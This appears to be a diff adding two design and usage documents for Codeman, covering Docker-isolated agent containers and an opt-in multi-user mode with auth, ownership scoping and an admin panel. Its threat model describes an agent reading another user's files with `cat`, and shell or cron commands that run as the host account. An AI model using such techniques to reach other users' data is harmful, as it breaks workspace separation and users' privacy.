+node scripts/build-agent-image.mjs          # builds codeman/agent:base
+# options: --engine docker|podman  --image <ref>  --no-cache
+```
+
+The image is **secret-free**: credentials are delivered at runtime (bind mounts or `docker exec --env`), never baked in, so exports never leak them.
+
+## Quickest path: one-click "Run in Docker"
+
+On the **New case → Create New** tab there's a **🐳 Run in an isolated Docker container** checkbox. Checking it alone is enough: Codeman creates the case folder in `~/codeman-cases/<name>`, spins up a hardened container with sensible defaults (auto-provisioning a shared `default` host), and starts the session inside it. No host/image/network fields to fill in.
+
+Click the checkbox's **Container settings** to optionally tweak the predefined defaults, including a **Template** picker:
+
+| Template | Memory | CPUs | GPUs |
+|----------|--------|------|------|
+| Small | 2 GB | 1 | none |
+| Medium (default) | 4 GB | 2 | none |
+| Large | 8 GB | 4 | none |
+| GPU | 8 GB | 4 | all (needs the NVIDIA container toolkit) |
+
+**Disk is elastic** — the container's storage grows automatically as data flows in; there is no fixed cap (bounded only by host disk). Any tweaked setting creates a dedicated per-case host so it never changes the shared `default`.
+
+## Create a docker case (full control)
+
+App → **New case → Docker** tab:
+
+- **Case Name** / **Workspace Path**: the workspace is a real HOST directory bind-mounted into the container at the same path. Codeman scaffolds `CLAUDE.md` + `.claude/settings.local.json` (hooks) into it, and file previews / attachments work on the real bytes.
+- **Host ID**: a reusable docker host profile (image, network, resources). Reuse the same ID across cases to share settings.
+- **Network**: `bridge` (internet on, default), `none` (fully isolated), or a `custom` bridge.
+- **Advanced**: memory / CPU caps, **Mount host credentials** (on = your existing `~/.claude` login just works; off = a sealed sandbox you log into inside the container), **Resume last conversation on relaunch**.
+
+Then run it like any case (Run Claude / Run Shell / …). The first launch creates the container (`codeman-case-<name>`); subsequent sessions attach to the same one.
+
+Equivalent API:
+
+```bash
+curl -X POST localhost:3000/api/docker-hosts -d '{"id":"local","label":"Local","image":"codeman/agent:base"}'
+curl -X POST localhost:3000/api/cases/docker-link -d '{"name":"sandbox","hostId":"local","hostWorkspacePath":"/home/you/projects/sandbox"}'
+curl -X POST localhost:3000/api/quick-start -d '{"caseName":"sandbox","mode":"claude"}'
+```
+
+## Lifecycle
+
+- **Reconnect after a Codeman restart** lands back in the same live agent (the in-container tmux survives).
+- **Container stop / host reboot** restarts the container and **resumes** the last conversation from the bind-mounted transcript. Claude sessions launch with a pinned conversation id (`--session-id <sessionId>`, with a `--resume` fallback when the transcript already exists), and the case remembers its last conversation (`lastClaudeSessionId`), so a relaunch after the container was stopped, rebooted, or recreated continues where it left off.
+- **Killing one session** only kills that session's in-container tmux session; the shared container stays up for sibling sessions.
+- **Editing the docker host config** (image, memory, network, ...) is detected on the next launch: the desired config hash is compared against the container's `codeman.confighash` label, and a mismatch refuses the launch with a "config changed, recreate?" confirm. Confirming calls `POST /api/docker-cases/:name/recreate` (refused while sessions of the case are live), which removes the container so the next launch recreates it with the new config; the workspace and the conversation survive.
+- **Deleting the case** `docker rm -f`s the container (the bind-mounted workspace on the host survives). An instance-scoped boot reaper removes containers whose case is gone.
+
+## Isolation & security
+
+Every container runs hardened: `--cap-drop ALL`, `--security-opt no-new-privileges`, non-root (`--user <hostUid>:0` so workspace files stay host-owned), `--pids-limit`, `--memory` == `--memory-swap`, `--init`. Never `--privileged`, never the docker socket. The default **convenient** profile bind-mounts host credential dirs read-write so the common login just works (creds stay on the host, never captured by `docker commit`); the **sealed** profile (`mountCredentials:false` + `network:none`) is the opt-in for genuinely untrusted work.
+
+Rootless engines without cgroup-v2 systemd delegation cannot enforce resource caps; linking such a host warns that caps are advisory.
+
+## Export / Import (move to another machine)
+
+**Export** (from the Docker tab, or `POST /api/docker-cases/:name/export`): choose
+
+- **Full image + workspace**: `docker commit` the container to an image, `docker save` it, tar the workspace, and a manifest, all into one portable `<case>-<ts>.codeman-container.tgz` (the whole toolchain, installed packages, and files). Runs in the background; you are notified when the bundle is ready.
+- **Workspace only**: just the project files (fast, small).
+
+The container is paused across the capture so the image and workspace are consistent; a full `/var/lib/docker` is guarded against with a free-space precheck; the intermediate image is always cleaned up.
+
+**Import** (`POST /api/docker-cases/import`, or the Manage tab): copy the `.tgz` onto the new machine's `~/.codeman/docker-exports/`, then import it into a new case. The manifest and per-member SHA-256 checksums are validated, the workspace tar is extracted with a path-traversal guard, and the image is `docker load`ed and **re-tagged into a quarantined namespace** (`codeman/imported-<case>:<ts>`) so it never overwrites a local tag. The destination supplies its own credentials, so nothing secret crosses machines.
+
+`GET /api/docker-exports` lists bundles; `GET /api/docker-exports/:filename` downloads one; `DELETE` removes one.
+
+## Hooks require the server to be reachable from the container
+
+In-container hooks (permission events, hook-based idle/stop/task notifications) POST to `CODEMAN_API_URL`, which is derived as `https://host.docker.internal:<port>` (`host.docker.internal` → the docker bridge gateway, e.g. `172.17.0.1`, via `--add-host …:host-gateway`). For that callback to succeed, the Codeman server must be **listening on an interface the container can reach**.
+
+- If Codeman binds **loopback-only** (`127.0.0.1`, the default and the production systemd config), a container reaching `172.17.0.1:<port>` cannot connect, so by default **in-container hooks do not fire**. The session still works fully: idle/stop detection falls back to **output-based** detection through the `docker exec` PTY (which always works), and claude runs with `--dangerously-skip-permissions` so there are no permission prompts to forward anyway.
+- **To enable in-container hooks on a loopback-only server, set `CODEMAN_DOCKER_BRIDGE_HOOKS=1`** (env). Codeman then starts a SECOND listener bound to the docker bridge gateway (`172.17.0.1`, auto-detected; override with `CODEMAN_DOCKER_BRIDGE_HOST`) that serves **only the hook endpoints** (`/api/hook-event`, `/api/status-telemetry`) and delegates them into the same secret-gated pipeline. The bridge is host-internal (containers + host, not the LAN), and every other path returns `403`, so this does not widen your network exposure. Add `Environment=CODEMAN_DOCKER_BRIDGE_HOOKS=1` to the systemd unit and restart.
+- Alternatively, bind `0.0.0.0` **with `CODEMAN_PASSWORD` set** (exposes on the LAN too).
+
+The host-gateway mapping, `CODEMAN_API_URL` derivation, host-guard allowlist, and hook-secret mount are all wired correctly; `CODEMAN_DOCKER_BRIDGE_HOOKS` closes the last gap for loopback-only servers.
+
+## Notes & limits
+
+- Requires Docker (or Podman) with a reachable daemon; tmux must be present in the base image (a hard prerequisite, probed at link time).
+- Per-session `envOverrides` / `effort` / per-CLI config are rejected for docker cases (they do not cross into the container); configure the container via the docker host's per-mode command override instead.
+- macOS Docker Desktop takes a dedicated uid path (the baked image uid; memory caps are subject to the VM ceiling).

+# Multi-User Mode: Design Plan
+
+Status: **IMPLEMENTED on `feat/multiuser-mode`** (phases 1-5; opt-in, off by default). Target: opt-in multi-user support behind a `--multiuser` flag, with per-user case spaces and an admin panel for user management.
+
+Shipped by phase:
+
+- **Phase 1** (user store + mode plumbing + CLI): `src/user-store.ts` (scrypt, atomic 0600 writes, last-admin invariants, serialized read-modify-write), `src/config/multiuser.ts`, `codeman users add|passwd|list|rm`, `--multiuser` flag, bootstrap-on-first-boot. Tests: `test/user-store.test.ts`.
+- **Phase 2** (multi-user auth): parallel async auth branch (`src/web/middleware/auth.ts`), `req.authUser`, per-username rate bucket, `mustChangePassword` lockbox, `GET /api/me` + `POST /api/me/password`, QR identity-bound minting, network-bind + tunnel exemptions, new error codes. Tests: `test/multiuser-auth.test.ts`.
+- **Phase 3** (ownership threading): `Session.owner` at every create path + recovery mirror; `findSessionOrFail` owner check + list filtering; §6.3 permission policy (`resolveClaudeModeForUser` at all spawn sites incl. one-shots via `buildPromptArgs`; shell/launchCommand grant); per-user case spaces (`resolveCasesDir`) + owner-scoped case list + admin-only host CRUD; `workingDir` confinement; `sessionCapacityState` per-user cap. Tests: `test/ownership-scoping.test.ts`.
+- **Phase 4** (event fan-out): WS owner gate; SSE per-client identity + `broadcast`/terminal-batch routing (`deriveSseHint`, fail-closed); `getLightState` per-identity filtering; file-route preview/thumbnail/history + `GET /api/search` scoping.
+- **Phase 5** (admin API + frontend): `src/web/routes/admin-routes.ts` (user CRUD, one-time passwords, last-admin guards, session revoke/kill) + `src/web/admin-audit.ts`; `public/admin-ui.js` (identity boot, change-password modal + interceptor, admin Users tab). Tests: `test/admin-routes.test.ts`, `test/admin-ui.test.ts`.
+
+Deferred follow-ups (documented, non-blocking): away-digest + subagent/workflow REST-list scoping, push-subscription identity/routing, per-user screenshot subdirs, `linked-cases.json` v2 owner field, `ScheduledRun.owner`, plan-orchestrator internal one-shot mode resolution, and a Playwright browser pass. Phase 6 (login form replacing Basic) remains out of scope.
+
+## 1. Summary
+
+Today Codeman is strictly single-user: one optional credential pair (`CODEMAN_USERNAME`/`CODEMAN_PASSWORD`), one shared `~/codeman-cases` folder, one global session list, and a global SSE/WS fan-out. This plan adds an opt-in **multi-user mode**:
+
+- **Off by default.** Without the flag, behavior stays byte-identical to today (same auth path, same paths, same payloads). All new code is gated behind `isMultiUserMode()`.
+- **`codeman web --multiuser`** (or `CODEMAN_MULTIUSER=1`) enables named users with individually hashed passwords stored in `~/.codeman/users.json`.
+- **Each user gets their own space**: `~/codeman-users/<username>/cases/<case>` replaces the shared `~/codeman-cases` for that user. Sessions, cases, attachments, search, digests, and SSE events are scoped to their owner.
+- **Admin panel** (App Settings, admin-only "Users" tab): create/delete users, change/reset passwords, enable/disable accounts, delete a user's space, see per-user live sessions and disk usage, force logout.
+
+## 2. Threat Model (read first, be honest about this)
+
+Multi-user mode is **workspace separation for a trusted team, NOT security isolation between mutually distrusting users**:
+
+- Every session still runs as the **same OS account** with `claude --dangerously-skip-permissions`. Any user can ask their agent to `cat /home/<host>/codeman-users/otheruser/...`. The web layer enforces scoping; the agent layer cannot.
+- **Shell sessions and custom launch commands are the bluntest holes**: `SessionMode = 'shell'` hands out a raw shell as the host account, and a cron job's `launchCommand` runs an arbitrary command; no Claude permission classifier is involved in either. These must be gated behind the same grant as bypass (section 6.3), otherwise the `auto`-mode mitigation below is theater.
+- All sessions share one tmux socket (`-L codeman`), one `~/.claude` (transcripts, credentials, plan usage), one Claude subscription.
+- Mitigation for stronger isolation: pair a user's cases with **Docker cases** (container per case, `docs/docker-cases.md`), or run separate Codeman instances per user (`CODEMAN_INSTANCE`, separate OS accounts). True per-user OS isolation is explicitly **out of scope** for this feature.
+- Partial mitigation at the agent layer: non-admin users default to Claude's `auto` permission mode (section 6.3), whose safety classifier blocks destructive actions and credential exfiltration. That reduces, but does not eliminate, cross-user snooping; the `canBypassPermissions` grant reopens it and should be given deliberately.
+
+This must be stated loudly in `docs/security-architecture.md`, the README section, and the admin panel UI ("Users share the host account; this separates workspaces, it does not sandbox users from each other").
+
+Also note the flip side: multi-user mode strictly _improves_ today's network posture, because it removes the single shared password and gives every person their own revocable credential.
+

+Plumbing: flag in `src/cli.ts` (web command), env in a new `src/config/multiuser.ts` exporting `isMultiUserMode()`. Per-instance like everything else: a beta instance (`CODEMAN_INSTANCE=beta`) has its own `users.json` via `dataPath()`.
+
+## 4. Data Model and Disk Layout
+
+### 4.1 `~/.codeman/users.json` (via `dataPath('users.json')`, mode 0600, atomic write: tmp + rename)
+
+```jsonc
+{
+  "version": 1,
+  "users": [
+    {
+      "username": "alice", // canonical lowercase slug
+      "role": "admin", // "admin" | "user"
+      "password": {
+        "algo": "scrypt", // node:crypto scrypt, no new deps
+        "N": 16384,
+        "r": 8,
+        "p": 1,
+        "salt": "<hex 32B>",
+        "hash": "<hex 64B>",
+      },
+      "disabled": false,
+      "mustChangePassword": false, // set by admin reset; gates all API access until changed
+      "canBypassPermissions": false, // permission-mode grant, see section 6.3; false for new users
+      "createdAt": 1752900000000,
+      "lastLoginAt": 1752900000000,
+    },
+  ],
+}
+```
+
+- **Username rules**: `^[a-z0-9][a-z0-9_-]{1,31}$` (it becomes a folder name), stored lowercase, unique case-insensitively. Reserve `admin`? No: any name can be admin; role is a field, not a name.
+- **Hashing**: `scrypt` from `node:crypto` with per-user salt, compared via `timingSafeEqual`. Params stored per record so they can be raised later; verify tolerates old params and rehashes on next successful login.
+- New module `src/user-store.ts` (mirrors the `remote-hosts.ts` / `docker-hosts.ts` pattern): `readUsers()`, `writeUsers()`, `verifyPassword()`, `createUser()`, `setPassword()`, `deleteUser()`, plus pure helpers (`isValidUsername`, `hashPassword`) that are unit-testable without IO. In-process cache with short TTL like `readSettings`, invalidated on every write; the short TTL also covers the CLI (section 10) editing `users.json` while the server runs (cross-process changes picked up within the TTL).
+
+### 4.2 User spaces
+
+```
+~/codeman-users/
+  alice/
+    cases/
+      my-project/          <- same layout as today's ~/codeman-cases/<case>
+  bob/
+    cases/
+```
+
+- New helper in `route-helpers.ts`:
+  `resolveCasesDir(user?: AuthUser): string`
+  single-user mode: returns `CASES_DIR` (today's `~/codeman-cases`); multi-user: returns `join(USER_SPACES_DIR, user.username, 'cases')`, creating it lazily on first use.
+- `CASES_DIR` stays exported for single-user code paths, but every route usage (see 6) switches to the resolver.
+- The **user folder** (`~/codeman-users/<username>/`) is the deletion unit for "delete user + space" and leaves room for future per-user extras (uploads, exports) beside `cases/`.
+- Legacy `~/codeman-cases` in multi-user mode: surfaces to admins only, as a read-only "Unassigned (legacy)" group in the case list, with an admin action `POST /api/admin/cases/assign { case, username }` that `fs.rename`s the folder into a user's space (same-filesystem move, cheap). No automatic migration.
+
+## 5. Auth Pipeline Changes (`src/web/middleware/auth.ts`)
+
+Keep the existing single-user branch untouched. Add a parallel multi-user branch selected once at registration time:
+
+1. **Credential check**: Basic header parsed into `username:password`, verified against the user store (scrypt + `timingSafeEqual`). Disabled users fail closed.
+2. **Cookie sessions**: same `codeman_session` cookie and `StaleExpirationMap`, but `AuthSessionRecord` gains `username` and `role`. All existing TTL/sliding/eviction logic reused. Eviction cap becomes per-user aware (evict oldest _of that user_ first) so one user cannot flush everyone's sessions by logging in 100 times.
+3. **Request identity**: decorate `req.authUser = { username, role }` (Fastify decorateRequest). In single-user mode `req.authUser` is `{ username: 'admin', role: 'admin' }` when auth is on, and a synthetic admin when auth is off, so downstream code has ONE code path.
+4. **Rate limiting**: keep the per-IP bucket; add a per-username failure bucket (same `StaleExpirationMap` pattern) so a botnet cannot brute-force one account across IPs, and one flaky user behind a NAT cannot lock out the rest.
+5. **`mustChangePassword` gate**: when set, every API request except `GET /api/me`, `POST /api/me/password`, and static assets returns 403 with `errorCode: 'PASSWORD_CHANGE_REQUIRED'`; the frontend intercepts that code and shows the change-password modal.
+6. **Password change vs Basic-auth caching**: browsers cache Basic credentials. After a password change we revoke all of that user's cookie sessions; the next request falls to Basic with stale creds, gets 401, and the browser re-prompts. Acceptable for v1; a proper login form is Phase 6 (see 15).
+7. **Unchanged**: hook-secret loopback bypass (hooks authenticate the _instance_, not a user; the event maps to a session which has an owner), host guard, Origin/CSRF guard, security headers.
+8. **WS upgrade identity** (`ws-routes.ts`): the global auth `onRequest` hook does run on the upgrade request (`@fastify/websocket` v11 runs hooks before the handshake; browsers send the session cookie), but the route handler itself only checks Host/Origin and never learns WHO authenticated. Multi-user: the handler reads the decorated `req.authUser` and closes 4003 unless owner or admin (section 6.4; identity plumbing lands in Phase 2, the owner check in Phase 4 once sessions have owners). Add a regression test that an upgrade with no credentials is rejected while auth is active: the handler-level Host/Origin gate alone must never be mistaken for auth.
+9. **QR auth** (`/q/:code` redemption in `system-routes.ts`, minting in `tunnel-manager.ts`): today there is ONE global token, auto-rotated every 60s with a 90s grace window. A globally-rotating token cannot carry an identity (every logged-in user sees the same code), so multi-user mode replaces rotation with **on-demand minting**: an authenticated `POST /api/tunnel/qr` mints a single-use, short-TTL token bound to `req.authUser.username` (field on `QrTokenRecord`); redemption creates a cookie session for that user. Existing rate-limit buckets (`qrAuthFailures`, global `QR_RATE_LIMIT_MAX`) apply unchanged. Single-user mode keeps the rotating token.
+
+New error codes in `src/types/api.ts`: `FORBIDDEN`, `PASSWORD_CHANGE_REQUIRED`, `USER_EXISTS`, `USER_NOT_FOUND`, `LAST_ADMIN`.
+
+Role guard helper in `route-helpers.ts`: `requireAdmin(req, reply): boolean` used as the first line of every admin handler (403 `FORBIDDEN`), plus `requireOwnerOrAdmin(req, session)`.
+
+## 6. Ownership Threading (the big refactor)
+
+### 6.1 Sessions
+
+- `Session` gains `owner?: string` (constructor option), persisted in `SessionState.owner`, included in `toState()`, round-tripped through recovery (`mux-sessions.json` entries carry it, `restoreMuxSessions` passes it back, exactly like `remote`/`docker`).
+- Every session-creating path stamps the owner from `req.authUser`. Verified inventory of `new Session(...)` call sites: `POST /api/sessions` (session-routes.ts:444), `POST /api/quick-start` (:1956), `POST /api/run` one-shot (:1652), Ralph start (ralph-routes.ts:327), **cron** (cron-service.ts:352; `CronJob` gains `owner`, stamped at job create, launched as the job's owner), legacy `ScheduledRun` loop (server.ts:1603), plan generation + plan-orchestrator agents (plan-routes.ts:128, plan-orchestrator.ts:422/578; owner = requesting user), and recovery (server.ts:2225, next bullet). Two non-paths, also verified: **respawn never constructs a new Session** (it re-spawns the PTY on the same object, so `owner` survives automatically; no inheritance logic needed), and **orchestrator-loop creates no sessions** (it schedules work onto existing idle sessions via the task queue; its scoping requirement is different: it must only pick idle sessions owned by the goal's creator).
+- Recovery: `owner` must ALSO be mirrored on `MuxSession` (mux-sessions.json) and read back mux-first like `remote`/`docker` (`muxSession.owner ?? savedState?.owner`, the server.ts:2246-2250 pattern), or a reboot erases ownership on the next persist.
+- Every session-reading/mutating route filters: non-admin users only see and act on `session.owner === req.authUser.username`. Centralize in `findSessionOrFail` (route-helpers.ts:87; the owner check there covers the 6 route files that use it: system/session/respawn/ralph/file/plan-routes) and in the list endpoints (`GET /api/sessions`, `GET /api/sessions/unified`, `GET /api/status`). The Phase 3 audit must grep for BOTH `sessionManager.getSession` AND direct map access (`ctx.sessions.get(` / `.has(`): ws-routes and hook-event-routes reach sessions that way and bypass `findSessionOrFail`.
+- Admins see everything; every session row carries `owner` so the UI can badge it.
+
+### 6.2 Cases
+
+- All `CASES_DIR` call sites switch to `resolveCasesDir(req.authUser)`: `case-routes.ts` (list/create/delete/CLAUDE.md scaffolding, name-collision checks, docker quickcreate), `session-routes.ts` (quick-start case resolution, the workingDir-inside-cases env-strip check), `ralph-routes.ts` (case path resolution), and `plan-routes.ts:231` (easy to miss). Case-name-to-path resolution is currently DUPLICATED (`resolveCasePath` in case-routes.ts:82 and an inline copy in quick-start, session-routes.ts:1846-1863); consolidate into one owner-aware resolver as part of this refactor instead of patching both copies.
+- Registries that map case names to metadata become owner-scoped. `remote-cases.json`/`docker-cases.json` are arrays of objects, so entries simply gain `owner?: string` (absent = legacy: admin-only). `linked-cases.json` is a flat `Record<caseName, path>` with no room for a field: it needs a v2 shape (`{ "version": 2, "cases": { "<name>": { "path": "...", "owner": "..." } } }`) with read-time migration of the v1 form; it is read in two places (case-routes AND inline in quick-start), both must move to the new reader. Case names only need to be unique per user.
+- **Remote hosts and Docker hosts are machine-level resources**: CRUD on `/api/docker-hosts` and remote-host endpoints becomes admin-only in multi-user mode; regular users can _use_ hosts on their own cases but not define them. (Docker containers exec as the host account; letting any user define arbitrary `docker run` args is admin-equivalent.)
+- Case deletion, exports (`docker-exports/`), and imports check ownership; export filenames get an owner prefix to avoid collisions (fits the existing `^[a-zA-Z0-9._-]+\.tgz$` download guard).
+- **Workspace confinement for non-admins (the linchpin, do not skip)**: today `POST /api/sessions` accepts ANY host directory as `workingDir` (the only check is `statSync().isDirectory()`, session-routes.ts:305-318), and file-routes/attachments confine reads to `session.workingDir`. Without a new rule the whole scoping story is circular: a user points a session at `~/codeman-users/bob` (or `/home`) and the web layer itself serves that subtree, no agent needed. Rule: in multi-user mode a non-admin's `workingDir` must realpath-resolve inside their own space, enforced at `POST /api/sessions`, `POST /api/run`, cron job create AND fire time (the dir can change owners between the two), and Ralph auto-configure. Admins are unrestricted. This one rule is what makes the section 6.4 file-route line ("own space or own sessions' workingDirs") meaningful.
+
+### 6.3 Per-user Claude permission-mode policy
+
+Codeman now ships a global **Startup Mode** picker (App Settings, Claude CLI tab: `settings.claudeMode`, values `dangerously-skip-permissions` (default) | `auto` | `normal` | `allowedTools`; `auto` emits `--permission-mode auto`, Anthropic's classifier-guarded low-prompt mode). Multi-user mode layers a per-user policy on top of it:
+
+- **Default for regular users: `auto` only.** A non-admin's Claude sessions are forced to `--permission-mode auto` regardless of the global `claudeMode` setting. `normal` and `allowedTools` are also permitted (they are strictly more restrictive than auto), but `dangerously-skip-permissions` is NOT.
+- **Bypass is an explicit admin grant**: `canBypassPermissions: true` on the user record (default `false`, section 4.1). Only with that grant does the global skip-permissions default (or a future per-user choice) apply to their sessions.
+- **Admins** are unrestricted; the global setting applies to them as-is.
+- **Single enforcement point**: a pure `resolveClaudeModeForUser(globalMode, user)` in `user-store.ts`, applied server-side at option-resolution time, BEFORE the Session constructor, so both downstream arg builders inherit it for free (`buildPermissionArgs` in session-cli-builder.ts for the direct-PTY path AND `buildClaudePermissionFlags` in tmux-manager.ts for tmux panes; there are two builders, not one). Call sites where `getClaudeModeConfig()` feeds a spawn: session-routes.ts:452/1964, ralph-routes.ts:334, cron-service.ts:360, and recovery (server.ts:2214/2233). Recovery re-reads the GLOBAL setting on reboot, so the resolver must run there with the RECOVERED owner, or a restart silently un-downgrades every restored session. Never resolved in the frontend, so it cannot be bypassed via payload.
+- **Downgrade, don't error**: a non-granted user whose effective mode would be bypass gets `auto` silently (logged + surfaced as a badge on the session), so shared presets keep working.
+- **Other CLIs' bypass equivalents** follow the same grant: Codex `--dangerously-bypass-approvals-and-sandbox` (`codexDangerouslyBypassApprovals`) and Gemini `--approval-mode yolo` are refused for non-granted users (Gemini falls back to `auto_edit`, Codex to its default sandbox). Whether this stays one grant or splits per-CLI is an open question (section 15).
+- **Shell mode and custom launch commands follow the grant too**: `mode: 'shell'` sessions and cron `launchCommand` are arbitrary command execution as the host account, strictly stronger than any bypass flag, and no permission-mode downgrade applies to them. Non-granted users get 403 `FORBIDDEN` on shell session/quick-start creation and on cron jobs carrying `launchCommand` (checked at create AND at fire time). Folding them under `canBypassPermissions` keeps the model one-bit; section 15 asks whether it should split.
+- **Admin UI**: a "Can skip permissions" toggle per user in the Users tab (PATCH field, section 8), with a warning echoing the section 2 threat model.
+- Revoking the grant takes effect on the user's NEXT session start; live sessions are listed so the admin can restart them.

+
+## 7. SSE Event Filtering
+
+`/api/events` currently broadcasts everything to everyone. Ground truth first (verified): `broadcast()` lives in `SseStreamManager` (`sse-stream-manager.ts`), not server.ts; clients are keyed by the raw Fastify reply (`sseClients: Map<FastifyReply, Set<string> | null>`, plus `sseClientsById` for live filter updates); the existing `?sessions=` filter is a bandwidth optimization applied ONLY to `session:terminal` batches in `flushSessionTerminalBatch()`, while `broadcast()` itself loops ALL clients unconditionally. The single-client delivery primitive already exists (`sendSSE`, used for the per-connection init snapshot). Plan:
+
+- At connection time, resolve `req.authUser` and store `{ username, role }` with the client. Concretely: extend `addClient(reply, sessionFilter, isRemote, clientId)` to take the identity and change the `sseClients` map value to `{ filter, identity }` (or add a parallel `Map<reply, identity>`); there is no per-client record object today to hang it on.
+- `broadcast()` gains an optional routing hint: `broadcast(event, data, { sessionId?, adminOnly?, username? })`. Resolution order per client: admin sees all; `username` targets one user; `sessionId` resolves owner via SessionManager; `adminOnly` for machine-level events (docker image builds, tunnel, self-update); no hint = broadcast to all (connection status etc.).
+- **Enforce the identity check in BOTH `broadcast()` AND `flushSessionTerminalBatch()`**: the terminal batch path does not go through `broadcast()`, and it carries the highest-value payload (raw terminal bytes).
+- Sweep of the ~120 backend event constants in `sse-events.ts`: mechanically, everything `session:*`, `ralph:*`, `respawn:*`, `subagent:*`, `workflow:*`, `attachment:*`, `cron:*` (job owner) carries or can resolve a sessionId/owner; `docker:*`, `system:*`, tunnel and update events are adminOnly; a short tail needs case-by-case decisions during implementation.
+- The existing `?sessions=` filter and `/api/events/subscribe` compose with (never override) the ownership filter: the subscription filter can only narrow within what the identity allows.

+
+**Audit log**: append-only `~/.codeman/admin-audit.jsonl` (same idiom as `session-lifecycle.jsonl`): timestamp, acting admin, action, target, request IP. User management without an audit trail is not acceptable even for a homelab tool.
+
+SSE additions (both `sse-events.ts` and `constants.js`): `admin:usersChanged` (adminOnly; the panel re-fetches) and `auth:passwordChangeRequired` (targeted to the user).
+
+## 9. Frontend
+
+- **`GET /api/me` on boot** (app.js init): stores `window.__codemanUser`; everything below keys off it. Single-user mode returns the synthetic admin, so the UI needs no mode awareness beyond "am I admin".
+- **Admin panel**: new tab "Users" in the App Settings modal (settings-ui.js), rendered only for admins in multi-user mode. Table of users with actions (create, reset password showing the one-time password in a copy-to-clipboard reveal, enable/disable, role toggle, logout, delete with a typed-username confirm for the delete-space variant). No new header button (mobile header policy test stays green; the settings modal is already reachable everywhere).
+- **Change-password modal**: shown on `PASSWORD_CHANGE_REQUIRED` (fetch interceptor in api-client.js) and reachable from settings for self-service.
+- **Owner badges**: admin's session tabs and the session palette/manager show `owner` on foreign sessions; regular users see no change.
+- New module `admin-ui.js` if the settings-ui.js addition gets large (load order after settings-ui, before session-ui), else keep inside settings-ui.js. Follow the `@fileoverview` + `@loadorder` convention either way.
+
+## 10. CLI Additions (`src/cli.ts`)
+
+Headless bootstrap and recovery must not require the web UI:
+
+```
+codeman users add <name> [--admin]     # prompts for password (hidden input), or --password-stdin
+codeman users passwd <name>            # reset password
+codeman users list
+codeman users rm <name> [--delete-space]
+```
+
+These operate directly on `users.json` via `user-store.ts` (no server needed), honoring `CODEMAN_INSTANCE`. This is also the answer to "locked out: last admin forgot password".
+
+## 11. Limits and Config
+
+- New `src/config/multiuser.ts`: `isMultiUserMode()`, `USER_SPACES_DIR` (`~/codeman-users`, overridable via `CODEMAN_USER_SPACES_DIR` for tests), `MAX_USERS` (default 25), per-user session cap (default: global cap / 2, env `CODEMAN_MAX_SESSIONS_PER_USER`).
+- Cap enforcement is currently COPY-PASTED: the global `MAX_CONCURRENT_SESSIONS` (50, `config/map-limits.ts:25`) check appears at 6 independent sites (session-routes.ts:298/1622/1683, ralph-routes.ts:275, cron-service.ts:340, server.ts:1595). Do not add a 7th copy per site: extract one `assertSessionCapacity(ctx, owner?)` helper doing the global + per-user checks and use it everywhere, or the per-user cap WILL miss a path.
+- Global limits (50 sessions, SSE clients 100, terminal buffers) are unchanged and shared; the per-user session cap is the fairness lever.

+| Default (no flag)  | No behavior change. No new file reads on the hot path. All new fields optional in state                                                                                                                     |

+| Instance isolation | `users.json`, audit log, screenshots subdirs all via `dataPath()`; user spaces dir is shared across instances like `~/codeman-cases` is today (documented)                                                  |

+
+## 13. Implementation Phases
+
+Each phase is independently shippable behind the flag and ends with its tests green.
+
+**Phase 1: user store + mode plumbing** (no behavior change yet)
+`src/user-store.ts`, `src/config/multiuser.ts`, CLI `users` subcommands, bootstrap-on-first-boot logic, `users.json` schema + atomic writes.
+Tests: `test/user-store.test.ts` (hashing, verify, params upgrade, username validation, atomic write, last-admin invariants; pure, no server).
+
+**Phase 2: multi-user auth**
+Auth middleware branch, `req.authUser` decoration, cookie records with username/role, per-username rate bucket, `mustChangePassword` gate, WS upgrade identity plumbing + unauthenticated-upgrade regression test (section 5.8), QR on-demand minting + identity binding (section 5.9), `GET /api/me`, `POST /api/me/password`, error codes, network-bind check integration.
+Tests: `test/multiuser-auth.test.ts` (live server, unique port 3170+; wrong password, disabled user, cookie carries identity, per-user rate limit isolation, mustChangePassword lockbox, QR redemption identity). Reuse the `delete process.env.CODEMAN_PASSWORD` idiom from `test/setup.ts`.
+
+**Phase 3: ownership threading**
+Session `owner` + persistence + `MuxSession` mirror + recovery; `resolveCasesDir()` refactor across case/session/ralph/plan routes (consolidating the duplicated case-path resolution); registry owner fields incl. the linked-cases v2 shape; `findSessionOrFail` owner check + the direct-`sessions.get` audit; list filtering; owner stamping across ALL create paths from 6.1; **non-admin workingDir confinement** (6.2); permission-mode/shell/launchCommand policy (6.3); `assertSessionCapacity` helper + per-user cap.
+Tests: `test/routes/ownership-scoping.test.ts` (inject-based: user A cannot read/kill/input user B's session, case lists are disjoint, admin sees both), extend `test/cron-service.test.ts` for owner stamping, recovery round-trip in the existing mux-recovery tests.
+
+**Phase 4: event fan-out + remaining surfaces**
+SSE routing hints + client identity (enforced in BOTH `broadcast()` and the terminal-batch flush), WS owner gate (identity landed in Phase 2), search/digest/subagent/workflow scoping, push subscription identity + owner routing, screenshot subdirs, file-route scoping, `getLightState` filtering + per-identity caching, admin-only system ops.
+Tests: `test/sse-ownership.test.ts` (two SSE clients, event for A's session reaches only A + admin), WS upgrade rejection test, search/digest scoping tests.
+
+**Phase 5: admin API + frontend**
+`admin-routes.ts` + `AdminPort` + schemas + audit log + `admin:usersChanged`; settings-ui Users tab, change-password modal, owner badges, api-client interceptor.
+Tests: `test/routes/admin-routes.test.ts` (CRUD, last-admin 409, one-time password flow, delete-space guard rails incl. symlink refusal), frontend vm-sandbox test following `test/run-mode-ui.test.ts` pattern, Playwright pass per the always-end-to-end rule before calling it done.
+
+**Phase 6 (optional, later): login page**
+Replace Basic with a form + `POST /api/login` in multi-user mode only (fixes browser credential caching UX, enables logout button). Explicitly deferred; Basic works for v1.
+
+**Docs**: update `docs/security-architecture.md` (new section: multi-user model + threat model from section 2), `README.md` (short opt-in section), `CLAUDE.md` (Key Patterns entry + State Files + route/SSE counts), this file gets a "shipped" status stamp per phase.
+
+## 14. Key Risks / Decisions Made
+
+1. **Not a security boundary at the agent layer** (section 2). Decided: ship with loud documentation; Docker cases are the isolation story.
+2. **`findSessionOrFail` as the single enforcement point** for ~30 session routes: any route that fetches sessions another way must be audited in Phase 3 (grep for `sessionManager.getSession` outside route-helpers).
+3. **SSE sweep is the riskiest surface**: a missed event leaks metadata (not terminal content, which is session-scoped, but names/paths). Phase 4 includes a checklist pass over all ~138 events with the default flipped to "owner-scoped unless explicitly global": fail closed.
+4. **Basic-auth password-change UX** is mediocre (browser re-prompt). Accepted for v1; Phase 6 fixes it properly.
